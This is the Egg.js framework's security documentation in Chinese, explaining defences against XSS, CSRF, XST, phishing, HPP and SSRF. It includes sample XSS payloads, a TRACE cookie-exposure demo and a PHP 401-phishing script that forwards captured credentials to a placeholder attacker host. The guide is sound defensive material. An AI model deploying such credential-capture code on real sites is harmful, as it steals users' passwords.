Egg 安全相關

2020-02-06 14:11 更新

Web 安全概念

Web 應用中存在很多安全風險,這些風險會被黑客利用,輕則篡改網(wǎng)頁內(nèi)容,重則竊取網(wǎng)站內(nèi)部數(shù)據(jù),更為嚴重的則是在網(wǎng)頁中植入惡意代碼,使得用戶受到侵害。常見的安全漏洞如下:

  • XSS 攻擊:對 Web 頁面注入腳本,使用 JavaScript 竊取用戶信息,誘導用戶操作。
  • CSRF 攻擊:偽造用戶請求向網(wǎng)站發(fā)起惡意請求。
  • 釣魚攻擊:利用網(wǎng)站的跳轉鏈接或者圖片制造釣魚陷阱。
  • HTTP參數(shù)污染:利用對參數(shù)格式驗證的不完善,對服務器進行參數(shù)注入攻擊。
  • 遠程代碼執(zhí)行:用戶通過瀏覽器提交執(zhí)行命令,由于服務器端沒有針對執(zhí)行函數(shù)做過濾,導致在沒有指定絕對路徑的情況下就執(zhí)行命令。

而框架本身針對 Web 端常見的安全風險內(nèi)置了豐富的解決方案:

  • 利用 extend 機制擴展了 Helper API, 提供了各種模板過濾函數(shù),防止釣魚或 XSS 攻擊。
  • 常見 Web 安全頭的支持。
  • CSRF 的防御方案。
  • 靈活的安全配置,可以匹配不同的請求 url 。
  • 可定制的白名單,用于安全跳轉和 url 過濾。
  • 各種模板相關的工具函數(shù)做預處理。

在框架中內(nèi)置了安全插件 egg-security, 提供了默認的安全實踐。

開啟與關閉配置

注意:除非清楚的確認后果,否則不建議擅自關閉安全插件提供的功能。

框架的安全插件是默認開啟的,如果我們想關閉其中一些安全防范,直接設置該項的 enable 屬性為 false 即可。例如關閉 xframe 防范:

exports.security = {
xframe: {
enable: false,
},
};

match 和 ignore

match 和 ignore 使用方法和格式與中間件通用配置一致。

如果只想開啟針對某一路徑,則配置 match 選項,例如只針對 /example 開啟 CSP:

exports.security = {
csp: {
match: '/example',
policy: {
//...
},
},
};

如果需要針對某一路徑忽略某安全選項,則配置 ignore 選項,例如針對 /example 關閉 xframe,以便合作商戶能夠嵌入我們的頁面:

exports.security = {
csp: {
ignore: '/example',
xframe: {
//...
},
},
};

如果要針對內(nèi)部 ip 關閉部分安全防范:

exports.security = {
csrf: {
// 判斷是否需要 ignore 的方法,請求上下文 context 作為第一個參數(shù)
ignore: ctx => isInnerIp(ctx.ip),
},
}

下面我們會針對具體的場景,來講解如何使用框架提供的安全方案進行 Web 安全防范。

安全威脅XSS的防范

XSS(cross-site scripting跨域腳本攻擊)攻擊是最常見的 Web 攻擊,其重點是『跨域』和『客戶端執(zhí)行』。

XSS 攻擊一般分為兩類:

  • Reflected XSS(反射型的 XSS 攻擊)
  • Stored XSS(存儲型的 XSS 攻擊)

Reflected XSS

反射型的 XSS 攻擊,主要是由于服務端接收到客戶端的不安全輸入,在客戶端觸發(fā)執(zhí)行從而發(fā)起 Web 攻擊。比如:

在某購物網(wǎng)站搜索物品,搜索結果會顯示搜索的關鍵詞。搜索關鍵詞填入<script>alert('handsome boy')</script>, 點擊搜索。頁面沒有對關鍵詞進行過濾,這段代碼就會直接在頁面上執(zhí)行,彈出 alert。

防范方式

框架提供了 helper.escape() 方法對字符串進行 XSS 過濾。

const str = '><script>alert("abc") </script><';
console.log(ctx.helper.escape(str));
// => ><script&gt;alert(&quot;abc&quot;) &lt;/script&gt;&lt;

當網(wǎng)站需要直接輸出用戶輸入的結果時,請務必使用 helper.escape() 包裹起來,如在 egg-view-nunjucks 里面就覆蓋掉了內(nèi)置的 escape。

另外一種情況,網(wǎng)站輸出的內(nèi)容會提供給 JavaScript 來使用。這個時候需要使用 helper.sjs() 來進行過濾。

helper.sjs() 用于在 JavaScript(包括 onload 等 event)中輸出變量,會對變量中字符進行 JavaScript ENCODE, 將所有非白名單字符轉義為 \x 形式,防止 XSS 攻擊,也確保在 js 中輸出的正確性。使用實例:

const foo = '"hello"';

// 未使用 sjs
console.log(`var foo = "${foo}";`);
// => var foo = ""hello"";

// 使用 sjs
console.log(`var foo = "${this.helper.sjs(foo)}";`);
// => var foo = "\\x22hello\\x22";

還有一種情況,有時候我們需要在 JavaScript 中輸出 json ,若未做轉義,易被利用為 XSS 漏洞??蚣芴峁┝?nbsp;helper.sjson() 宏做 json encode,會遍歷 json 中的 key ,將 value 的值中,所有非白名單字符轉義為 \x 形式,防止 XSS 攻擊。同時保持 json 結構不變。 若存在模板中輸出一個 JSON 字符串給 JavaScript 使用的場景,請使用 helper.sjson(變量名) 進行轉義。

處理過程較復雜,性能損耗較大,請僅在必要時使用。

實例:

<script>
window.locals = {{ helper.sjson(locals) }};
</script>

Stored XSS

基于存儲的 XSS 攻擊,是通過提交帶有惡意腳本的內(nèi)容存儲在服務器上,當其他人看到這些內(nèi)容時發(fā)起 Web 攻擊。一般提交的內(nèi)容都是通過一些富文本編輯器編輯的,很容易插入危險代碼。

防范方式

框架提供了 helper.shtml() 方法對字符串進行 XSS 過濾。

注意,將富文本(包含 HTML 代碼的文本)當成變量直接在模版里面輸出時,需要用到 shtml 來處理。 使用 shtml 可以輸出 HTML 的 tag,同時執(zhí)行 XSS 的過濾動作,過濾掉非法的腳本。

由于是一個非常復雜的安全處理過程,對服務器處理性能一定影響,如果不是輸出 HTML,請勿使用。

簡單示例:

// js
const value = `<a rel="external nofollow" target="_blank" rel="external nofollow" target="_blank" >google</a><script>evilcode…</script>`;

// 模板
<html>
<body>
{{ helper.shtml(value) }}
</body>
</html>
// => <a rel="external nofollow" target="_blank" rel="external nofollow" target="_blank" >google</a>&lt;script&gt;evilcode…&lt;/script&gt;

shtml 在 xss 模塊基礎上增加了針對域名的過濾。

例如只支持 a 標簽,且除了 title 其他屬性都過濾掉: whiteList: {a: ['title']}

options:

  • config.helper.shtml.domainWhiteList: [] 可拓展 href 和 src 中允許的域名白名單。

注意,shtml 使用了嚴格的白名單機制,除了過濾掉 XSS 風險的字符串外, 在默認規(guī)則外的 tag 和 attr 都會被過濾掉。

例如 HTML 標簽就不在白名單中,

const html = '<html></html>';

// html
{{ helper.shtml(html) }}

// 輸出空

常見的 data-xx 屬性由于不在白名單中,所以都會被過濾。

所以,一定要注意 shtml 的適用場景,一般是針對來自用戶的富文本輸入,切忌濫用,功能既受到限制,又會影響服務端性能。 此類場景一般是論壇、評論系統(tǒng)等,即便是論壇等如果不支持 HTML 內(nèi)容輸入,也不要使用此 Helper,直接使用 escape 即可。

JSONP XSS

JSONP 的 callback 參數(shù)非常危險,他有兩種風險可能導致 XSS

1、callback 參數(shù)意外截斷js代碼,特殊字符單引號雙引號,換行符均存在風險。

2、callback 參數(shù)惡意添加標簽(如 <script> ),造成 XSS 漏洞。

參考 JSONP 安全攻防

框架內(nèi)部使用 jsonp-body 來對 JSONP 請求進行安全防范。

防御內(nèi)容:

  • callback 函數(shù)名詞最長 50 個字符限制
  • callback 函數(shù)名只允許 [, ], a-zA-Z0123456789_, $, .,防止一般的 XSS,utf-7 XSS等攻擊。

可定義配置:

  • callback 默認 _callback,可以重命名。
  • limit - 函數(shù)名 length 限制,默認 50。

其他 XSS 的防范方式

瀏覽器自身具有一定針對各種攻擊的防范能力,他們一般是通過開啟 Web 安全頭生效的。框架內(nèi)置了一些常見的 Web 安全頭的支持。

CSP

W3C 的 Content Security Policy,簡稱 CSP,主要是用來定義頁面可以加載哪些資源,減少 XSS 的發(fā)生。

框架內(nèi)支持 CSP 的配置,不過是默認關閉的,開啟后可以有效的防止 XSS 攻擊的發(fā)生。要配置 CSP , 需要對 CSP 的 policy 策略有了解,具體細節(jié)可以參考 CSP 是什么。

X-Download-Options:noopen

默認開啟,禁用 IE 下下載框Open按鈕,防止 IE 下下載文件默認被打開 XSS。

X-Content-Type-Options:nosniff

禁用 IE8 自動嗅探 mime 功能例如 text/plain 卻當成 text/html 渲染,特別當本站點 serve 的內(nèi)容未必可信的時候。

X-XSS-Protection

IE 提供的一些 XSS 檢測與防范,默認開啟

  • close 默認值false,即設置為 1; mode=block

安全威脅 CSRF 的防范

CSRF(Cross-site request forgery跨站請求偽造,也被稱為 One Click Attack 或者 Session Riding,通??s寫為 CSRF 或者 XSRF,是一種對網(wǎng)站的惡意利用。 CSRF 攻擊會對網(wǎng)站發(fā)起惡意偽造的請求,嚴重影響網(wǎng)站的安全。因此框架內(nèi)置了 CSRF 防范方案。

防范方式

通常來說,對于 CSRF 攻擊有一些通用的防范方案,簡單的介紹幾種常用的防范方案:

  • Synchronizer Tokens:通過響應頁面時將 token 渲染到頁面上,在 form 表單提交的時候通過隱藏域提交上來。
  • Double Cookie Defense:將 token 設置在 Cookie 中,在提交 post 請求的時候提交 Cookie,并通過 header 或者 body 帶上 Cookie 中的 token,服務端進行對比校驗。
  • Custom Header:信任帶有特定的 header(例如 X-Requested-With: XMLHttpRequest)的請求。這個方案可以被繞過,所以 rails 和 django 等框架都放棄了該防范方式。

框架結合了上述幾種防范方式,提供了一個可配置的 CSRF 防范策略。

使用方式

同步表單的 CSRF 校驗

在同步渲染頁面時,在表單請求中增加一個 name 為 _csrf 的 url query,值為 ctx.csrf,這樣用戶在提交這個表單的時候會將 CSRF token 提交上來:

<form method="POST" action="/upload?_csrf={{ ctx.csrf | safe }}" enctype="multipart/form-data">
title: <input name="title" />
file: <input name="file" type="file" />
<button type="submit">upload</button>
</form>

傳遞 CSRF token 的字段可以在配置中改變:

// config/config.default.js
module.exports = {
security: {
csrf: {
queryName: '_csrf', // 通過 query 傳遞 CSRF token 的默認字段為 _csrf
bodyName: '_csrf', // 通過 body 傳遞 CSRF token 的默認字段為 _csrf
},
},
};

為了防范 BREACH 攻擊,通過同步方式渲染到頁面上的 CSRF token 在每次請求時都會變化,egg-view-nunjucks 等 View 插件會自動對 Form 進行注入,對應用開發(fā)者無感知。

AJAX 請求

在 CSRF 默認配置下,token 會被設置在 Cookie 中,在 AJAX 請求的時候,可以從 Cookie 中取到 token,放置到 query、body 或者 header 中發(fā)送給服務端。

In jQuery:

var csrftoken = Cookies.get('csrfToken');

function csrfSafeMethod(method) {
// these HTTP methods do not require CSRF protection
return (/^(GET|HEAD|OPTIONS|TRACE)$/.test(method));
}
$.ajaxSetup({
beforeSend: function(xhr, settings) {
if (!csrfSafeMethod(settings.type) && !this.crossDomain) {
xhr.setRequestHeader('x-csrf-token', csrftoken);
}
},
});

通過 header 傳遞 CSRF token 的字段也可以在配置中改變:

// config/config.default.js
module.exports = {
security: {
csrf: {
headerName: 'x-csrf-token', // 通過 header 傳遞 CSRF token 的默認字段為 x-csrf-token
},
},
};

Session vs Cookie 存儲

默認配置下,框架會將 CSRF token 存在 Cookie 中,以方便 AJAX 請求獲取到。但是所有的子域名都可以設置 Cookie,因此當我們的應用處于無法保證所有的子域名都受控的情況下,存放在 Cookie 中可能有被 CSRF 攻擊的風險??蚣芴峁┝艘粋€配置項,可以將 token 存放到 Session 中。

// config/config.default.js
module.exports = {
security: {
csrf: {
useSession: true, // 默認為 false,當設置為 true 時,將會把 csrf token 保存到 Session 中
cookieName: 'csrfToken', // Cookie 中的字段名,默認為 csrfToken
sessionName: 'csrfToken', // Session 中的字段名,默認為 csrfToken
},
},
};

忽略 JSON 請求(已廢棄)

注意:該選項已廢棄,攻擊者可以通過 flash + 307 來攻破,請不要在生產(chǎn)環(huán)境打開改選項!

在 SOP 的安全策略保護下,基本上所有的現(xiàn)代瀏覽器都不允許跨域發(fā)起 content-type 為 JSON 的請求,因此我們可以直接放過類型的 JSON 格式的請求。

// config/config.default.js
module.exports = {
security: {
csrf: {
ignoreJSON: true, // 默認為 false,當設置為 true 時,將會放過所有 content-type 為 `application/json` 的請求
},
},
};

刷新 CSRF token

當 CSRF token 存儲在 Cookie 中時,一旦在同一個瀏覽器上發(fā)生用戶切換,新登陸的用戶將會依舊使用舊的 token(之前用戶使用的),這會帶來一定的安全風險,因此在每次用戶登陸的時候都必須刷新 CSRF token。

// login controller
exports.login = function* (ctx) {
const { username, password } = ctx.request.body;
const user = yield ctx.service.user.find({ username, password });
if (!user) ctx.throw(403);
ctx.session = { user };

// 調(diào)用 rotateCsrfSecret 刷新用戶的 CSRF token
ctx.rotateCsrfSecret();

ctx.body = { success: true };
}

安全威脅 XST 的防范

XST 的全稱是 Cross-Site Tracing,客戶端發(fā) TRACE 請求至服務器,如果服務器按照標準實現(xiàn)了 TRACE 響應,則在 response body 里會返回此次請求的完整頭信息。通過這種方式,客戶端可以獲取某些敏感的頭字段,例如 httpOnly 的 Cookie。

下面我們基于 Koa 來實現(xiàn)一個簡單的支持 TRACE 方法的服務器:

var koa = require('koa');
var app = koa();

app.use(function* (next) {
this.cookies.set('a', 1, { httpOnly: true });
if (this.method === 'TRACE') {
var body = '';
for (header in this.headers) {
body += header + ': ' + this.headers[header] + '\r\n';
}
this.body = body;
}
yield* next;
});

app.listen(7001);

啟動服務后,先發(fā)個 GET 請求 curl -i http://127.0.0.1:7001,得到如下響應:

HTTP/1.1 200 OK
X-Powered-By: koa
Set-Cookie: a=1; path=/; httponly
Content-Type: text/plain; charset=utf-8
Content-Length: 2
Date: Thu, 06 Nov 2014 05:04:42 GMT
Connection: keep-alive

OK

服務器設置了一個 httpOnly 的 Cookie 為 1,在瀏覽器環(huán)境中,是無法通過腳本獲取它的。

接著我們發(fā) TRACE 請求到服務器curl -X TRACE -b a=1 -i http://127.0.0.1:7001,并帶上 Cookie,得到如下響應:

HTTP/1.1 200 OK
X-Powered-By: koa
Set-Cookie: a=1; path=/; httponly
Content-Type: text/plain; charset=utf-8
Content-Length: 73
Date: Thu, 06 Nov 2014 05:07:47 GMT
Connection: keep-alive

user-agent: curl/7.37.1
host: 127.0.0.1:7001
accept: */*
cookie: a=1

在響應體里可以看到完整的頭信息,這樣我們就繞過了 httpOnly 的限制,拿到了cookie=1,造成了很大的風險。

拓展閱讀

http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html

http://deadliestwebattacks.com/2010/05/18/cross-site-tracing-xst-the-misunderstood-vulnerability/

防范方式

框架已經(jīng)禁止了 trace,track,options 三種危險類型請求。

安全威脅 釣魚攻擊 的防范

釣魚有多種方式,這里介紹 url 釣魚、圖片釣魚和 iframe 釣魚。

url 釣魚

服務端未對傳入的跳轉 url 變量進行檢查和控制,可能導致可惡意構造任意一個惡意地址,誘導用戶跳轉到惡意網(wǎng)站。 由于是從可信的站點跳轉出去的,用戶會比較信任,所以跳轉漏洞一般用于釣魚攻擊,通過轉到惡意網(wǎng)站欺騙用戶輸入用戶名和密碼盜取用戶信息,或欺騙用戶進行金錢交易; 也可能引發(fā)的 XSS 漏洞(主要是跳轉常常使用 302 跳轉,即設置 HTTP 響應頭,Locatioin: url,如果 url 包含了 CRLF,則可能隔斷了 HTTP 響應頭,使得后面部分落到了 HTTP body,從而導致 XSS 漏洞)。

防范方式

  • 若跳轉的 url 事先是可以確定的,包括 url 和參數(shù)的值,則可以在后臺先配置好,url 參數(shù)只需傳對應 url 的索引即可,通過索引找到對應具體 url 再進行跳轉;
  • 若跳轉的 url 事先不確定,但其輸入是由后臺生成的(不是用戶通過參數(shù)傳人),則可以先生成好跳轉鏈接然后進行簽名;
  • 若 1 和 2 都不滿足,url 事先無法確定,只能通過前端參數(shù)傳入,則必須在跳轉的時候?qū)?url 進行按規(guī)則校驗:判斷 url 是否在應用授權的白名單內(nèi)。

框架提供了安全跳轉的方法,可以通過配置白名單避免這種風險。

  • ctx.redirect(url) 如果不在配置的白名單內(nèi),則禁止。
  • ctx.unsafeRedirect(url) 一般不建議使用,明確了解可能帶來的風險后使用。

安全方案覆蓋了默認的ctx.redirect方法,所有的跳轉均會經(jīng)過安全域名的判斷。

用戶如果使用ctx.redirect方法,需要在應用的配置文件中做如下配置:

// config/config.default.js
exports.security = {
domainWhiteList:['.domain.com'], // 安全白名單,以 . 開頭
};

若用戶沒有配置 domainWhiteList 或者 domainWhiteList數(shù)組內(nèi)為空,則默認會對所有跳轉請求放行,即等同于ctx.unsafeRedirect(url)

圖片釣魚

如果可以允許用戶向網(wǎng)頁里插入未經(jīng)驗證的外鏈圖片,這有可能出現(xiàn)釣魚風險。

比如常見的 401釣魚, 攻擊者在訪問頁面時,頁面彈出驗證頁面讓用戶輸入帳號及密碼,當用戶輸入之后,帳號及密碼就存儲到了黑客的服務器中。 通常這種情況會出現(xiàn)在<img src=$url />中,系統(tǒng)不對$url是否在域名白名單內(nèi)進行校驗。

攻擊者可以在自己的服務器中構造以下代碼:

401.php:作用為彈出 401 窗口,并且記錄用戶信息。

<?php
header('WWW-Authenticate: Basic realm="No authorization"');
header('HTTP/1.1 401 Unauthorized');
$domain = "http://hacker.com/fishing/";
if ($_SERVER[sectech:'PHP_AUTH_USER'] !== null){
header("Location: ".$domain."record.php?a=".$_SERVER[sectech:'PHP_AUTH_USER']."&b=".$_SERVER[sectech:'PHP_AUTH_PW']);
}
?>

之后攻擊者生成一個圖片鏈接<img src="http://xxx.xxx.xxx/fishing/401.php?a.jpg//" rel="external nofollow" />。

當用戶訪問時,會彈出信息讓用戶點擊,用戶輸入的用戶名及密碼會被黑客的服務器偷偷記錄。

防范方式

框架提供了 .surl() 宏做 url 過濾。

用于在 html 標簽中中要解析 url 的地方(比如 <a href=""/><img src=""/>),其他地方不允許使用。

對模板中要輸出的變量,加 helper.surl($value)。

注意:在需要解析 url 的地方,surl 外面一定要加上雙引號,否則就會導致XSS漏洞。

不使用 surl

<a href="$value" />

output:

<a  rel="external nofollow" target="_blank"  />

使用 surl

<a href="helper.surl($value)" />

output:

<a  rel="external nofollow" target="_blank"  />

iframe 釣魚

iframe 釣魚,通過內(nèi)嵌 iframe 到被攻擊的網(wǎng)頁中,攻擊者可以引導用戶去點擊 iframe 指向的危險網(wǎng)站,甚至遮蓋,影響網(wǎng)站的正常功能,劫持用戶的點擊操作。

框架提供了 X-Frame-Options 這個安全頭來防止 iframe 釣魚。默認值為 SAMEORIGIN,只允許同域把本頁面當作 iframe 嵌入。

當需要嵌入一些可信的第三方網(wǎng)頁時,可以關閉這個配置。

安全威脅 HPP 的防范

Http Parameter Pollution(HPP),即 HTTP 參數(shù)污染攻擊。在HTTP協(xié)議中是允許同樣名稱的參數(shù)出現(xiàn)多次,而由于應用的實現(xiàn)不規(guī)范,攻擊者通過傳播參數(shù)的時候傳輸 key 相同而 value 不同的參數(shù),從而達到繞過某些防護的后果。

HPP 可能導致的安全威脅有:

  • 繞過防護和參數(shù)校驗。
  • 產(chǎn)生邏輯漏洞和報錯,影響應用代碼執(zhí)行。

拓展閱讀

  • https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)
  • http://blog.csdn.net/eatmilkboy/article/details/6761407
  • https://media.blackhat.com/bh-us-11/Balduzzi/BH_US_11_Balduzzi_HPP_WP.pdf
  • ebay 因參數(shù)污染存在 RCE(遠程命令執(zhí)行)漏洞:http://secalert.net/2013/12/13/ebay-remote-code-execution/

如何防范

框架本身會在客戶端傳輸 key 相同而 value 不同的參數(shù)時,強制使用第一個參數(shù),因此不會導致 hpp 攻擊。

中間人攻擊與 HTTP / HTTPS

HTTP 是網(wǎng)絡應用廣泛使用的協(xié)議,負責 Web 內(nèi)容的請求和獲取。然而,內(nèi)容請求和獲取時會經(jīng)過許多中間人,主要是網(wǎng)絡環(huán)節(jié),充當內(nèi)容入口的瀏覽器、路由器廠商、WIFI提供商、通信運營商,如果使用了代理、翻墻軟件則會引入更多中間人。由于 HTTP 請求的路徑、參數(shù)默認情況下均是明文的,因此這些中間人可以對 HTTP 請求進行監(jiān)控、劫持、阻擋。

在沒有 HTTPS 時,運營商可在用戶發(fā)起請求時直接跳轉到某個廣告,或者直接改變搜索結果插入自家的廣告。如果劫持代碼出現(xiàn)了 BUG ,則直接讓用戶無法使用,出現(xiàn)白屏。

數(shù)據(jù)泄露、請求劫持、內(nèi)容篡改等等問題,核心原因就在于 HTTP 是全裸式的明文請求,域名、路徑和參數(shù)都被中間人們看得一清二楚。HTTPS 做的就是給請求加密,讓其對用戶更加安全。對于自身而言除了保障用戶利益外,還可避免本屬于自己的流量被挾持,以保護自身利益。

盡管 HTTPS 并非絕對安全,掌握根證書的機構、掌握加密算法的組織同樣可以進行中間人形式的攻擊。不過HTTPS是現(xiàn)行架構下最安全的解決方案,并且它大幅增加了中間人攻擊的成本。

因此,請各位使用 Egg 框架開發(fā)網(wǎng)站的開發(fā)者,務必推動自己的網(wǎng)站升級到 HTTPS。

對于 HTTPS 來講,還有一點要注意的是 HTTP 嚴格傳輸安全(HSTS),如果不使用 HSTS,當用戶在瀏覽器中輸入網(wǎng)址時沒有加 HTTPS,瀏覽器會默認使用 HTTP 訪問

框架默認關閉了 hsts Strict-Transport-Security。使得 HTTPS 站點不跳轉到 HTTP,如果站點支持 HTTPS,請一定要開啟。

如果我們的Web 站點是 http 站點,需要關閉這個頭。配置如下:

  • maxAge 默認一年 365 * 24 * 3600。
  • includeSubdomains 默認 false, 可以添加子域名,保證所有子域名都使用 HTTPS 訪問。

安全威脅 SSRF 的防范

通過 Server-Side Request Forgery(SSRF) 攻擊,攻擊者可以發(fā)起網(wǎng)絡請求訪問或者操作內(nèi)部網(wǎng)絡的資源。

一般來說,SSRF 安全漏洞常見于開發(fā)者在服務端直接請求客戶端傳遞進來的 URL 資源,一旦攻擊者傳入一些內(nèi)部的 URL 即可發(fā)起 SSRF 攻擊。

如何防范

通常我們會基于內(nèi)網(wǎng) IP 黑名單的形式來防范 SSRF 攻擊,通過對解析域名后得到的 IP 做過濾,禁止訪問內(nèi)部 IP 地址來達到防范 SSRF 攻擊的目的。

框架在 ctx, app 和 agent 上都提供了 safeCurl 方法,在發(fā)起網(wǎng)絡請求的同時會對指定的內(nèi)網(wǎng) IP 地址過濾,除此之外,該方法和框架提供的 curl 方法一致。

  • ctx.safeCurl(url, options)
  • app.safeCurl(url, options)
  • agent.safeCurl(url, options)

配置

直接調(diào)用 safeCurl 方法其實并沒有任何作用,還需要配合安全配置項。

  • ipBlackList(Array) - 配置內(nèi)網(wǎng) IP 名單,在這些網(wǎng)段內(nèi)的 IP 地址無法被訪問。
  • checkAddress(Function) - 直接配置一個檢查 IP 地址的函數(shù),根據(jù)函數(shù)的返回值來判斷是否允許在 safeCurl 中被訪問,當返回非 true 時,該 IP 無法被訪問。checkAddress 優(yōu)先級高于 ipBlackList。
// config/config.default.js
exports.security = {
ssrf: {
ipBlackList: [
'10.0.0.0/8', // 支持 IP 網(wǎng)段
'0.0.0.0/32',
'127.0.0.1', // 支持指定 IP 地址
],
// 配置了 checkAddress 時,ipBlackList 不會生效
checkAddress(ip) {
return ip !== '127.0.0.1';
},
},
};

其他安全工具

ctx.isSafeDomain(domain)

是否為安全域名。安全域名在配置中配置,見 ctx.redirect 部分。

app.injectCsrf(str)

這個函數(shù)提供了模板預處理-自動插入 CSRF key 的能力,可以自動在所有的 form 標簽中插入 CSRF 隱藏域,用戶就不需要手動寫了。

app.injectNonce(str)

這個函數(shù)提供了模板預處理-自動插入 nonce 的能力,如果網(wǎng)站開啟了 CSP 安全頭,并且想使用 CSP 2.0 nonce 特性,可以使用這個函數(shù)。參考 CSP 是什么

這個函數(shù)會掃描模板中的 script 標簽,并自動加上 nonce 頭。

app.injectHijackingDefense(str)

對于沒有開啟 HTTPS 的網(wǎng)站,這個函數(shù)可以有限的防止運營商劫持。


以上內(nèi)容是否對您有幫助:
在線筆記
App下載
App下載

掃描二維碼

下載編程獅App

公眾號
微信公眾號

編程獅公眾號